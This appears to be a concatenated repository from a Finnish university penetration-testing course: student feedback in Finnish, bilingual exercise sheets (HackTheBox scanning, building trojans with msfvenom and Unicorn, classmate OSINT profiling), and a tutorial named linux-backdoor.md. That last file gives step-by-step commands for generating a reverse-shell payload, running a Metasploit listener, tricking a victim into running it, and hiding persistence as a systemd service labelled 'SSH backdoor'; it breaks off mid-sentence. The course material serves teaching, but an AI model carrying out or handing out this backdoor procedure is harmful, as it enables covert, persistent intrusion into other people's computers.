tuottaminen sekä virustorjunnan ohittamisen tarve korostuivat. Jos kurssista koskaan järjestetään jatkototeutusta, harkitsisin em. osa-alueiden (koodaus + AV bypass) siirtämistä kyseisen jatkototeutuksen piiriin. 378 | 379 | Nämä jatkototeutukset edellyttävät jonkintasoista ohjelmointiosaamista (C/Python), ja liittyy siten laajempaan Haaga-Helian -kurssitoteutusten kontekstiin. Toisin sanoen: järjestetäänkö opiskelijoille kyseisten kielien opetusta? 380 | 381 | **Vaihtoehto B)** 382 | 383 | Varsinaisesti kurssin ulkopuolisen materiaalin katsominen sai minut havahtumaan, että tästä saisi helposti myös toisenlaisen työkaluihin ja olemassa oleviin hyökkäystekniikoihin liittyvän jatkototeutuksen tehtyä, kysynnästä riippuen. Bluetooth-hyökkäykset, MITM, palvelunesto, sulautetut järjestelmät... 384 | 385 | ## Kurssikoe 386 | 387 | Kurssikoe oli mielenkiintoinen ja otti saman asenteen kuin kurssin opetuskin: käytäntöä ja teoriaa. Kiitos aikataulun kanssa venymisestä (sähköpostien timestampeista on jotain pääteltävissä) ja panostamisesta kokeeseen! 388 | 389 | Kokeen tehtävänannot olivat vähintäänkin "mielenkiintoisia", ja mukavaa naksuttelua kurssin oppien mukaisesti. Haastetaso oli sopiva ja olit tehnyt mielestäni hyvän ja moniulotteisen kokeen, joita ei aina näe joka kursseilla. Jätetään kokeen tarkempi sisältö puimatta, että olisi myös jatkossakin käytettävissä, mutta oli hyvä! 390 | 391 | ## Viihdyitkö kurssilla? 392 | 393 | #### **Lyhyesti:** 394 | 395 | > Kyllä 396 | 397 | Kurssilla oli hyvä "me"-ryhmähenki, ja jään kaipaamaan osaa porukasta kurssin jälkeen. 398 | 399 | Kurssilla korostui tekemisen meininki, sekä opettajan reippaus ja innostuneisuus aiheesta. Nämä ovat piirteitä, joita arvostan missä tahansa opinnoissa oppilaitoksesta ja ammattialasta riippumatta: Opettajan suhtautuminen aiheeseen ja osallistuminen tiiviisti opiskelijoiden kanssa kurssisisällön ajamiseen on todella tärkeää jokaisen opiskelijan motivaation kannalta. 400 | 401 | Arvostan kurssin toteutuksessa käytännön tekemistä yhdistettynä teoriaan. En kaipaa PowerPoint-esityksiä, jos tarjolla on tällaista. Kalvot voi lukea muulloinkin. Syvää oppimista tukee paljon paremmin konkreettinen soveltaminen, onnistuminen ja virheistä oppiminen. 402 | 403 | Kurssi jätti paljon itse oppimisen varaan, mutta tämä mahdollisti sen, että lähiopetuskerrat olivat vastaavasti erittäin mielenkiintoisia ja mahdollistivat käytännön harjoitusten teon ja olennaiseen asiaan keskittymisen. Lähiopetuskerroilta ei tällä kurssilla olla pois yhtäkään kertaa, eikä se haittaa menoa. 404 | 405 | Viihdyin kurssilla. Jokaisella lähiopetuskerralla tuli jotain uutta tai vähintään hyvää oppimisen arvoista tietoa, eikä mitään "olen tiennyt tämän jo 10 vuotta" -tyylistä vanhaa kauraa, jota joillakin kursseilla tulee nähtyä. Uusi aihesisältö myös kasvatti omaa motivaatiotani sen lisäksi, että koen aihepiirin muutenkin tärkeänä ja ehdottomasti oppimisen arvoisena ammattialasta riippumatta. 406 | 407 | ## Suosittelisitko kurssia? Kenelle? Koulutoverille tai kollegalle? 408 | 409 | Suosittelen kurssia kaikille, joilla on nämä kyvyt/piirteet: 410 | 411 | - riittävä Linux/verkko/ohjelmointiosaaminen 412 | 413 | - riittävä tietotekninen ajattelukyky ja kiinnostus aihepiiriä kohtaan 414 | 415 | - into ja motivaatio kasvattaa osaamista tietoturvassa käytännön keinoin 416 | 417 | - riittävästi aikaa, intoa kooditason tiedonhakuun ja tietoteknistä ongelmanratkaisukykyä 418 | 419 | - hyvää englannintaitoa (itsestäänselvyys) 420 | 421 | Konkreettisimpana esimerkkinä tulisi ne Haaga-Helian ja muiden oppilaitosten opiskelijat, jotka kykenevät osaamisen, motivaation ja aikataulun puitteissa suorittamaan kurssin. 422 | 423 | ## Tämä oli Haaga-Helian ensimmäinen pentesting-kurssi koskaan. Kannattaako Pentesting-kurssia järjestää tulevaisuudessa? 424 | 425 | Kyllä! 426 | 427 | Kyberturvallisuuteen liittyvän osaamisen harjaannuttaminen myös hyökkäyksen näkökannasta korostuu maailmassa, jossa kaikki ammattialat tuntuvat työntyvän etenevissä määrin IT-pohjaisiin ratkaisuihin, ja joissa implementaatiot eivät ole aina siitä tietoturvallisimmista päästä. 428 | 429 | Hyökkäysaspektin tunteminen ja vihamieliseen toimintaan tutustuminen on erittäin tärkeää perustiedon hankkimiseksi vihamielisestä toiminnasta, joka uhkaa monia IT-järjestelmiä. Monet voivat suhtautua epäillen moiseen lähestymisnäkökulmaan ("miten te kehtaatte opettaa hyökkäämään!"), mutta ilman sitä tuntemus tietoturvasta jää mielestäni liian vajavaiseksi johtaen puutteellisesti suojattuihin tietoteknisiin ratkaisuihin. Siksi suosittelen kurssin toteuttamista myös tulevaisuudessa. 430 | 431 | [![](https://blackarch.org/images/slider/ba-slider.png)](https://blackarch.org) 432 | -------------------------------------------------------------------------------- /exercises/h1.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 1 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > **0)** Study online penetration testing materials periodically during the course. You do not need to report this exercise. 10 | 11 | > **1)** Try a single [OWASP 10 attack](https://owasp.org/www-project-top-ten/) of your choice on your own computer. Only local target computers are allowed in this exercise. 12 | 13 | > **Tips:** You can look for some pre-installed vulnerable program, install it, and try an existing attack directly referring to an external help text. The main intention is to move from talking about attacks to experimenting with them. If you know how to code, you can also make the vulnerable programs yourself. The easiest option is to install [Metasploitable 3](https://github.com/rapid7/metasploitable3) and take a look at [payroll_app.php](https://www.thomaslaurenson.com/blog/2018/07/08/metasploitable3-pentesting-the-ubuntu-linux-version-part1/). 14 | 15 | > **2)** Optional: Try several OWASP 10 attacks on your own computer and direct them to another target computer. How many successful attacks can you perform? 16 | 17 | ### Detailed & compherensive answers for assignment 1 can be found behind the following link: 18 | 19 | **Restricted access, required login** 20 | 21 | - [fjordtek.com: Git/penetration-testing: h1.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h1.md) 22 | 23 | -------------- 24 | 25 | ## Original text (Finnish): 26 | 27 | -------------- 28 | 29 | *Tehtävänannot* 30 | -------------- 31 | 32 | ### Harjoituksen 1 tehtävänannot ovat seuraavat: 33 | 34 | > 0) Opiskele aikataulusta linkitetyt materiaalit. Aikataulusta linkitetyt materiaalit ovat lukuläksynä joka kerta. Tätä 0-kohtaa ei tarvitse raportoida. 35 | 36 | > 1) Kokeile valitsemaasi OWASP 10 hyökkäystä omalle koneellesi. Tässä harjoituksessa saa käyttää vain omalle, paikalliselle koneelle asennettuja harjoitusmaaleja. 37 | 38 | > Vinkkejä: Voit etsiä jonkin valmiin haavoittuvan ohjelmiston, asentaa sen ja kokeilla valmista hyökkäystä suoraan spoilerista/ohjetekstistä. Tarkoitus on siirtyä hyökkäyksistä puhumisesta niiden kokeilemiseen. Jos osaat koodata, voit tehdä haavoittuvan ohjelman myös itse. Tämä näytti aika haavoittuvalta ja on helppo asentaa: Install Metasploitable 3 – Vulnerable Target Computer. Vinkkejä: Teron haavoittuva ohjelma: Vulnerable Super Secure Password Recover – SQL Injection Example. Kaikkein helpoin vaihtoehto on asentaa Metasploitable 3 ja vilkaista payroll_app.php -ohjelmaa. 39 | 40 | > 2) Vapaaehtoinen: Kokeile useita OWASP 10 hyökkäyksiä omalla koneellasi olevaan harjoitusmaaliin. Montako saa toteutettua käytännössä? 41 | -------------------------------------------------------------------------------- /exercises/h2.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 2 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > Attack Scope. Intelligence and attack programs may only be used on authorized target computers with mutual agreement of all related parties. Please read the [HackTheBox rules](https://www.hackthebox.eu/tos) before you begin. Check used IP addresses carefully. 10 | 11 | > **1)** Actively probe the HackTheBox network. For instance, use TCP/UDP port scanners (`nmap`), Metasploit Framework, browsers, `curl -I`, netcat (`nc`) and other tools you know. Report your results. Put your HackTheBox solutions behind a simple password, not on the public web. You can give the password to the teacher on Moodle and share them between class mates but not to the public web. 12 | 13 | > **2)** Do three challenges on WebGoat. Install WebGoat if you haven't it installed already. Solutions may normally be published on the Internet. Tip: You find WebGoat installation instructions on [GitHub/WebGoat: wiki - Releases page](https://github.com/WebGoat/WebGoat/wiki#releases). 14 | 15 | > **3)** Optional: Do additional WebGoat challenges. 16 | 17 | > **4)** Optional, difficult: If you can, pick up a target computer from the HackTheBox. Remember attack scope. You may use existing list of available/vulnerable target computers on the HackTheBox web interface in which they are sorted by difficulty level. 18 | 19 | ### Detailed & compherensive answers for assignment 2 can be found behind the following link: 20 | 21 | **Restricted access, required login** 22 | 23 | - [fjordtek.com: Git/penetration-testing: h2.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h2.md) 24 | 25 | -------------- 26 | 27 | ## Original text (Finnish): 28 | 29 | -------------- 30 | 31 | *Tehtävänannot* 32 | -------------- 33 | 34 | ### Harjoituksen 2 tehtävänannot ovat seuraavat: 35 | 36 | > Scope. Tiedustelu- ja hyökkäysohjelmia saa käyttää vain luvallisiiin maalikoneisiin. Lue HackTheBoxin säännöt ennen aloittamista. Tarkista IP-osoitteet huolellisesti. 37 | 38 | > 1) Tiedustele aktiivisesti HackTheBoxin verkko. Voit käyttää esimerkiksi porttiskannereita, metasploittia, selainta, curl -I, nc ja muita osaamiasi työkaluja. Raportoi. Laita HackTheBoxin ratkaisut yksinkertaisen salasanan taakse, ei julkiseen nettiin. Salasanan voit antaa opettajalle Moodleen ja kurssikavereille, ei julkiseen nettiin. 39 | 40 | > 2) Tee WebGoatista kolme tehtävää. Asenna WebGoat tarvittaessa. Ratkaisut saa julkaista normaalisti koko Internetille. Vinkki: edellisen kerran läksyjen raporteissa tällä sivulla on helppoja asennusohjeita WebGoatille. 41 | 42 | > 3) Vapaaehtoinen: Ratko lisää WebGoatin tehtäviä. 43 | 44 | > 4) Vapaaehtoinen, vaikea: Jos osaat, korkaa jokin maalikone HackTheBoxista. Muista sallitut rajat eli scope. Apupyörinä voit käyttää HackTheBoxin weppiliittymästä löytyvää konelistaa vaikeustason mukaan järjestettynä. 45 | -------------------------------------------------------------------------------- /exercises/h3.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 3 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > Remember your attack scope: stay within the permitted training goals, do not cross the allowed boundaries. 10 | 11 | > **1)** Try a vulnerability scanner. Use something other than a `nikto` which we tried earlier. For instance, pick up `openvas`, `w3af` ... 12 | 13 | > **2)** Scan for possible vulnerabilities on 5 selected computers on the HackTheBox network. Use two scanners, such as `nikto` and the scanner you selected in the previous section. Analyze results. Which services appear to be the easiest targets to launch an attack on? If you want, you can import the results into Metasploit with `db_import` command. 14 | 15 | > **3)** Look at the source code of the [Mirai malware](https://en.wikipedia.org/wiki/Mirai_(malware)). Find a list of passwords that Mirai uses. (This section can be made from source code alone. Nothing needs to be compiled or run. Binary viruses and worms can spread, so special arrangements are required to handle them.) 16 | 17 | > **4)** Try to hack a computer on the HackTheBox network. You don't have to get to the finish line (e.g. acquire a root flag), but report what you tried and what clues were still to be explored for further attempts. 18 | 19 | > **5)** Optional: How does the OWASP WebGoat Authentication Bypass attack work? You can read OWASP 10 wiki to understand what this attack means and then solve the related task on WebGoat. Finally, you can use web string “source fishing” technique to see how the code actually works. 20 | 21 | ### Detailed & compherensive answers for assignment 3 can be found behind the following link: 22 | 23 | **Restricted access, required login** 24 | 25 | - [fjordtek.com: Git/penetration-testing: h3.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h3.md) 26 | 27 | -------------- 28 | 29 | ## Original text (Finnish): 30 | 31 | -------------- 32 | 33 | *Tehtävänannot* 34 | -------------- 35 | 36 | ### Harjoituksen 3 tehtävänannot ovat seuraavat: 37 | 38 | > Muista scope eli pysy sallittujen harjoitusmaalien rajoissa. 39 | 40 | > 1) Kokeile haavoittuvuusskanneria (vulnerability scanner). Käytä jotain muuta kuin tunnilla kokeiltua niktoa. Esim. openvas, w3af... 41 | 42 | > 2) Haavoittuvuusskannaa 5 konetta HackTheBoxin verkosta. Käytä kahta skanneria, esimerkiksi niktoa ja edellisessä kohdassa valitsemaasi skanneria. Analysoi tulokset. Mitkä palvelut vaikuttavat helpoimmilta kohteilta aloittaa hyökkäys? Jos haluat, voit tuoda tulokset metasploit:iin db_import -komennolla. 43 | 44 | > 3) Silmäile Mirai-haittaohjelman lähdekoodia. Etsi lista salasanoista, joita Mirai käyttää. (Tämän kohdan voi tehdä pelkästä lähdekoodista. Mitään ei tarvitse kääntää eikä ajaa. Binäärimuotoiset virukset ja madot voivat levitä, joten niiden käsittely vaatii erityisjärjestelyjä.) 45 | 46 | > 4) Yritä korkata joku kone HackTheBoxin verkosta. Maaliin asti ei tarvitse päästä, mutta raportoi mitä kokeilit ja mitä johtolankoja jäi vielä tutkittavaksi.Voit apupyörinä katsoa listasta, mitkä koneet on arvioitu helpoiksi. 47 | 48 | > 5) Vapaaehtoinen: Miten OWASP WebGoat:n Authentication Bypass -hyökkäys toimii? Voit lukea OWASP 10 mitä tämä hyökkäys tarkoittaa ja sitten ratkaista tehtävän WebGoatista. Lopuksi voit katsoa WebGoatin lähdekoodista “string fishing” -tekniikalla, miten koodi toimii. 49 | -------------------------------------------------------------------------------- /exercises/h4.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 4 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > **1)** Hack vulnerable `Poison` computer on the HackTheBox network. If you can’t get access to root shell, describe where you got in and what clues went still unexamined. 10 | 11 | > **2)** CTF (Capture-The-Flag) walktrough. Watch a CTF walktrough video (other than HackTheBox) on YouTube. What did you learn, what ideas did you get? Try at least three new tools that you picked up from the video. 12 | 13 | > **3)** Stuxnet. Read an article on Stuxnet (such as Symantec or Langer). You can search for `Stuxnet analysis`. 1) How did Stuxnet break into the target computers? Which attack method was used on which operating system or which hardware/software components were targeted? Keep your answer short and generic since these attacks are already obsolete. 2) How does command and control (C2) architecture work? 3) How did Stuxnet cross the air gap? 14 | 15 | ### Detailed & compherensive answers for assignment 4 can be found behind the following link: 16 | 17 | **Restricted access, required login** 18 | 19 | - [fjordtek.com: Git/penetration-testing: h4.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h4.md) 20 | 21 | -------------- 22 | 23 | ## Original text (Finnish): 24 | 25 | -------------- 26 | 27 | *Tehtävänannot* 28 | -------------- 29 | 30 | ### Harjoituksen 4 tehtävänannot ovat seuraavat: 31 | 32 | > 1) Korkkaa Poison. Jos et pääse root shelliin asti, kuvaile, mihin pääsit ja mitä johtolankoja jäi tutkimatta. 33 | 34 | > 2) CTF walktrough. Katso Youtubesta jokin CTF walktrough (muu kuin HackTheBox). Mitä opit, mitä ideoita sait? Kokeile vähintään kolmea itsellesi uutta työkalua, joita opit videosta. 35 | 36 | > 3) Stuxnet. Lue artikkeli Stuxnetista, esim. Symantec tai Langer. Voit hakea ‘stuxnet analysis’. 1) Miten Stuxnet murtautui koneille? Yleisluontoinen vastaus (mikä hyökkäys millekin käyttöjärjestelmälle mihin komponenttiin) riittää, koska nämä hyökkäykset ovat jo vanhentuneet. 2) Miten ohjaus (command and control, C2) toimi? 3) Miten Stuxnet ylitti ilmaraon (air gap)? 37 | -------------------------------------------------------------------------------- /exercises/h5.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 5 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > **1)** Create Trojan horses, at least two different ones. For instance, you can make an infected installer, Microsoft Office/LibreOffice documents with hostile macros, or a mobile application. Clearly name the malicious programs so that their malicious purpose occurs before execution (`MALWARE-installer.exe` etc.). A hostile payload can be, for instance, be a meterpreter backdoor. Do not make self-propagating programs. You can use tools like `setoolkit` and `msfvenom` in assistance to create your trojan horses. 10 | 11 | > **2)** What new inventions were introduced in Conficker? Read an article about [Conficker](https://en.wikipedia.org/wiki/Conficker) (not the linked Wikipedia one). For other articles, `Conficker analysis` is a good search keyword. Pay attention to the C2 architecture. 12 | 13 | > **3)** Blogs. Look for ideas for a potential pentest in [Krebs on Security](https://krebsonsecurity.com/) or [Schneier on Security](https://www.schneier.com/) blogs. There are a lot of security-related topics in these blogs. Especially, pay attention to penetration (intrusion) testing. 14 | 15 | > **4)** [O'Reilly Media](https://www.oreilly.com/). Learn and test some new pentesting techniques from a book or video you find on [O'Reilly Media website](https://www.oreilly.com/) (may require login). 16 | 17 | ### Detailed & compherensive answers for assignment 5 can be found behind the following link: 18 | 19 | **Restricted access, required login** 20 | 21 | - [fjordtek.com: Git/penetration-testing: h5.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h5.md) 22 | 23 | -------------- 24 | 25 | ## Original text (Finnish): 26 | 27 | -------------- 28 | 29 | *Tehtävänannot* 30 | -------------- 31 | 32 | ### Harjoituksen 5 tehtävänannot ovat seuraavat: 33 | 34 | > 1) Tee troijan hevosia, vähintään kaksi erilaista. Voit tehdä esimerkiksi saastuneen asennusohjelman, dokumentteja joissa on vihamielisiä makroja sekä älypuhelimen apsin. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Vihamielisenä hyötykuormana voi olla esimerkiksi meterpreter. Älä tee itsestään leviäviä ohjelmia. Voit käyttää troijan hevosen tekoon esim. setoolkit, msfvenom. 35 | 36 | > 2) Mitä uusia keksintöjä Confickerissa esiteltiin? Lue jokin artikkeli Confickerista. ‘conficker analysis’ on hyvä hakusana. Kiinnitä huomiosi C2:n. 37 | 38 | > 3) Blogeja. Etsi Krebsin tai Schneierin blogeista ideoita pentestiin. Näissä blogeissa on paljon turvallisuuteen liittyviä aiheita, tee erityisesti huomioita tunkeutumistestaukseen liittyen. 39 | 40 | > 4) Safarionline. Opettele ja testaa jokin uusi Pentesting-tekniikka kirjasta tai videosta, jonka löydät Safarionlinesta. 41 | -------------------------------------------------------------------------------- /exercises/h6.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 6 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > **1)** Search [Google Scholar](https://scholar.google.com/) for a recent (under 1-2 years) articles related to the course topic. Suitable are peer-reviewed journal articles or conference papers, which have slightly lower level than journal articles. Be sure to adjust search settings: language is English. Library links: suitable university of your choise. No citations, no patents. No older than 2017. Full text (full text PDF) are on the right. What practical penetration testing related information do you obtain and learn from the article? 10 | 11 | > **2)** Do a [Google Scholar](https://scholar.google.com/) search on the topic of interest you want to follow. What do the 5 most recent or most referenced articles say? You can take a look on the articles without having to summarize them comprehensively. Subscribe and get e-email alerts about interesting article searches. This will keep you on track of new scientific research in your field - maybe you have required skills in the field when you start your thesis work. 12 | 13 | > **3)** Generate/Bundle a Trojan horse yourself. You can do the installation with [Inno Setup](https://jrsoftware.org/isinfo.php), for instance. You can also try packing a malicious program and a normal program in the same installation - so you don't have to edit binaries of a normal program. Name the programs so that the malicious purpose occurs as `MALWARE-installer.exe`. Do not make self-propagating programs. 14 | 15 | > **4)** [OSINT](https://en.wikipedia.org/wiki/Open-source_intelligence). Where and with what techniques can you retrieve information from people using publicly available sources? You can also try applications such as `maltego` (closed source) or `recon-ng` (free) as well as wide range of web pages (e.g. [inteltechniques.com](inteltechniques.com)) and guides (e.g. e-mail). You can also take advantage of offline sources. (This section covers techniques, tools, and web pages - don't put your class mate's information here) 16 | 17 | > **5)** Get information about your class mate using publicly available information sources. Attempt to create a comprehensive profile of the person: history, subject of interests, political opinions, related parties, financial situation, place of residence... Do not publish results even anonymously, not even behind a password, and do not tell funny anecdotes about them. Give the results to your class mate (to the one data is related to). Ask your class mate in advance what information we can discuss in the class and with what accuracy. Use only legal techniques and public sources. You must not hack into any system in this exercise, and you must not impersonate another person. Be worthy of the trust of your class mate - your future penetration testing customers also require strict confidentiality. 18 | 19 | > **6)** Optional: Develop your own Trojan horse. For instance, it can exfiltrate confidential files (browser passwords, secret keys), record keyboard key presses (likely to trigger a virus-scanner/IDS), or secretly install additional programs. 20 | 21 | ### Detailed & compherensive answers for assignment 6 can be found behind the following link: 22 | 23 | **Restricted access, required login** 24 | 25 | - [fjordtek.com: Git/penetration-testing: h6.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h6.md) 26 | 27 | -------------- 28 | 29 | ## Original text (Finnish): 30 | 31 | -------------- 32 | 33 | *Tehtävänannot* 34 | -------------- 35 | 36 | ### Harjoituksen 6 tehtävänannot ovat seuraavat: 37 | 38 | > 1) Hae Google Scholarlista tuore (alle 1-2 v) artikkeli, joka liittyy kurssin aiheeseen. Sopivia ovat vertaisarvioidut (peer-reviewed) artikkelit (journal articles) tai konfferenssipaperit (conference papers, ovat hieman alempaa tasoa kuin journal artikkelit). Muista säätää asetukset: English. Library links: Haaga-Helia. No citations, no patents. Since 2017. Kokotekstit (full text PDF) ovat oikeassa reunassa. Minkä käytännön pentestiin sovellettavan asian opit artikkelista? 39 | 40 | > 2) Tee Google Scholar -haku kiinnostavasta aiheesta, jota haluat seurata. Mitä 5 tuoreinta tai viitatuinta artikkelia kertovat? Voit silmäillä artikkelit, ei tarvitse tiivistää niitä kattavasti. Tilaa haku omaan sähköpostiisi (alerts). Näin pysyt kärryillä oman alasi uudesta tieteellisestä tutkimuksesta – ehkä alue on hallussa jo opinnäytettä aloittaessa. 41 | 42 | > 3) Paketoi troijan hevonen itse. Voit tehdä asennuksen esimerkiksi inno setup -ohjelmalla. Voit kokeilla myös pakata samaan asennukseen vihamielisen ohjelman sekä normaalin ohjelman – näin et joudu muokkaamaan normaalin ohjelman binääriä. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Älä tee itsestään leviäviä ohjelmia. 43 | 44 | > 4) OSINT. Mistä ja millä tekniikoilla voit hakea ihmisistä tietoa avoimista lähteistä? Voit myös kokeilla sovelluksia, esim. maltego (suljettu) tai recon-ng (vapaa); sekä weppisivuja (esim. inteltechniques.com) ja oppaita (esim email). Voit hyödyntää myös offline-lähteitä. (Tämä kohta käsittelee tekniikoita, työkaluja ja weppisivuja – älä laita tähän parisi tietoja) 45 | 46 | > 5) Hae paristasi tietoa avoimista lähteistä. Pyri laatimaan kattava profiili henkilöstä: historia, kiinnostuksen kohteen, poliittiset mielipiteet, lähipiiri, taloudellinen tilanne, asuinpaikka… Älä julkaise tuloksia edes anonymisoituna, ei edes salasanan takana, äläkä kerro niistä ulkopuolisille hauskoja anekdootteja. Anna tulokset parillesi (sille, josta tiedot kertovat). Kysy pariltasi etukäteen, mistä tiedoista voimme keskustella tunnilla ja millä tarkkuudella. Käytä vain laillisia tekniikoita ja julkisia lähteitä. Tässä tehtävässä ei saa murtautua mihinkään, eikä esiintyä toisena henkilönä. Ole asiakkaan (parisi) luottamuksen arvoinen – myös pentest-asiakkaasi edellyttävät luottamuksellisuutta. 47 | 48 | > 6) Vapaaehtoinen: Koodaa oma troijan hevonen. Se voi esimerkiksi siirtää (exfiltrate) luottamuksellisia tiedostoja (selaimen salasanat, salaiset avaimet), nauhoittaa näppäimistöä (laukaisee todennäköisesti virustutkan/IDS:n) tai asentaa salaa lisää ohjelmia. 49 | -------------------------------------------------------------------------------- /exercises/h7.md: -------------------------------------------------------------------------------- 1 | Penetration Testing - Assignment 7 2 | ============== 3 | 4 | * Exercises * 5 | -------------- 6 | 7 | ### Exercises are as follows: 8 | 9 | > **1)** Create a Trojan with [TrustedSec Unicorn](https://github.com/trustedsec/unicorn). 10 | 11 | > **2)** Select a new vulnerable target computer which you can practise with. You can pick up a suitable target computer from [VulnHub](https://www.vulnhub.com/). Break into the victim computer, see the walktrough for a tip if you get stuck. 12 | 13 | > **3)** [Google Project Zero](https://googleprojectzero.blogspot.com/). Can you find techniques that can be utilized in penetration testing? (No need to repeat challenging assembler tricks) 14 | 15 | ### Detailed & compherensive answers for assignment 7 can be found behind the following link: 16 | 17 | **Restricted access, required login** 18 | 19 | - [fjordtek.com: Git/penetration-testing: h7.md](https://fjordtek.com/git/Fincer/penetration-testing/src/branch/master/exercises/h7.md) 20 | 21 | -------------- 22 | 23 | ## Original text (Finnish): 24 | 25 | -------------- 26 | 27 | *Tehtävänannot* 28 | -------------- 29 | 30 | ### Harjoituksen 7 tehtävänannot ovat seuraavat: 31 | 32 | > a) Tee troijalainen Unicornilla ohjeen mukaan. (Vinkki: katso Tatun raporttia) 33 | 34 | > b) Asenna oma, itsellesi uusi harjoitusmaali. Voit hakea maalikoneen Vulnhubista. Murtaudu koneelle, katso walktroughsta vinkki, jos jäät jumiin. 35 | 36 | > c) Google Project Zero. Löydätkö tekniikoita, joita voi hyödyntää pentestissä? (Ei tarvitse toistaa haastavia assembler-temppuja) 37 | -------------------------------------------------------------------------------- /images/attack_principle-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fincer/penetration-testing/4125e7295fc93150fe9b0d80c94b45fd0f3be85b/images/attack_principle-1.png -------------------------------------------------------------------------------- /images/attack_principle-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fincer/penetration-testing/4125e7295fc93150fe9b0d80c94b45fd0f3be85b/images/attack_principle-2.png -------------------------------------------------------------------------------- /images/linux_hypervisor_rootkit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fincer/penetration-testing/4125e7295fc93150fe9b0d80c94b45fd0f3be85b/images/linux_hypervisor_rootkit.png -------------------------------------------------------------------------------- /random/linux-backdoor.md: -------------------------------------------------------------------------------- 1 | # Backdoor to any Linux machine 2 | 3 | **Myth:** It is said that Linux is secure and hasn't any viruses etc. Let's take a look. There is a general claim that no need for Antivirus software is required either. Well... 4 | 5 | We won't create a true virus here. Just a backdoor. However, it opens up many possibilities for further hostile actions against Linux victim machines, including polluting the target Linux machine with multiple nasty viruses. 6 | 7 | This is just a short technical demonstration without any true hostile attempts. Utilizing the method requires social engineering tactics, as well. 8 | 9 | This method does not require any server software running on the victim's Linux machine. Just a simple client machine is OK. 10 | 11 | **This tutorial assumes you will gain access to `sudo` or `root` terminal on victim's Linux machine by using social engineering tactics.** 12 | 13 | -------------------- 14 | 15 | ## How-to 16 | 17 | **1) Generating backdoor.** Generate a simple Linux backdoor payload. On attacker machine, execute either: 18 | 19 | A) Linux x86 binary backdoor payload: 20 | 21 | ``` 22 | msfvenom -p linux/x86/meterpreter/reverse_tcp lhost= lport= -f elf -a x86 > ~/reverse_backdoor' 23 | ``` 24 | 25 | B) or alternatively generate a shell script backdoor payload: 26 | 27 | ``` 28 | msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > reverse_backdoor_bash.sh 29 | ``` 30 | 31 | -------------------- 32 | 33 | **2) Router settings.** If you are behind a router, do PAT (Port Address Translation) where incoming connections to your router are coming from ``. Let the router forward those to `` in your local network. 34 | 35 | **3) Metasploit listener script.** On your attack machine, add following file (edit contents as needed) and save it as 'backdoor-listener.rc' 36 | 37 | ``` 38 | use exploit/multi/handler 39 | set payload linux/x86/meterpreter/reverse_tcp 40 | set lhost 41 | set lport 42 | exploit 43 | ``` 44 | 45 | This is a metasploit script file we will utilize later. Please pay attention to `` and `` values above. 46 | 47 | --------------------------- 48 | 49 | = IPv4 which is reachable from outside (WAN IPv4), usually provided by your ISP 50 | = Port number which is accessible from outside (WAN) networks 51 | = IPv4 used by your attack machine on the local network, usually static one or provided by a router 52 | = Port number which is accessible on your local network 53 | 54 | --------------------------- 55 | 56 | **4) Start Metasploit listener.** Run the above Metasploit script file with `sudo msfconsole -r backdoor-listener.rc` and keep the listener open on your Linux attack machine. 57 | 58 | **5) Victim enticement - execution of the backdoor.** Send msfvenom-generated `reverse_backdoor` binary executable to the Linux victim and encourage him/her to execute it. Requires social engineering tactics. 59 | 60 | **6) Who am i and which is my shell?** Once you have connection to the victim's Linux machine, run `whoami`, after which run `shell`. Both in meterpreter console view. 61 | 62 | **7) Open Python-based Bash pseudo-shell.** We assume that the victim has python environment. On the opened empty shell view, just run the following commands (we assume the current user's shell is `/bin/bash`): 63 | 64 | ``` 65 | which python 66 | python -c "import pty; pty.spawn('/bin/bash');" 67 | ``` 68 | 69 | On that code above, we check python binary existence on the Linux victim machine. If OK, then you can open bash with pseudo terminal python function. 70 | 71 | **8) Prepare your foothold on victim's machine - persistence.** On victim's machine, copy 'reverse_backdoor' binary into `/usr/local/bin/` folder, and run 72 | 73 | ``` 74 | chmod +x /usr/local/bin/reverse_backdoor 75 | ``` 76 | 77 | **9) Add new auto-starting systemd service** Now, insert a new systemd service file 'reverse-backdoor.service' into `/usr/lib/systemd/system/` as follows: 78 | 79 | echo -e "[Unit]\nDescription=SSH backdoor\nAfter=network.target network-online.target\n\n[Service]\nType=oneshot\nRemainAfterExit=yes\n\nExecStart=/usr/local/bin/reverse_backdoor\nExecStop=/usr/local/bin/reverse_backdoor\n\n[Install]\nWantedBy=multi-user.target" > /usr/lib/systemd/system/reverse-backdoor.service 80 | 81 | **10) Enable the systemd service.** Run 82 | 83 | ``` 84 | sudo systemctl enable reverse-backdoor.service 85 | ``` 86 | 87 | **11) Test the systemd service.** To check if the service file succeeds, check the output of: 88 | 89 | ``` 90 | sudo systemctl start reverse-backdoor.service 91 | ``` 92 | 93 | **12) You are able to connect after victim's reboot.** If Ok, you should be able to login to the victim's Linux machine after rebooting it. Just make sure you have Metasploit TCP 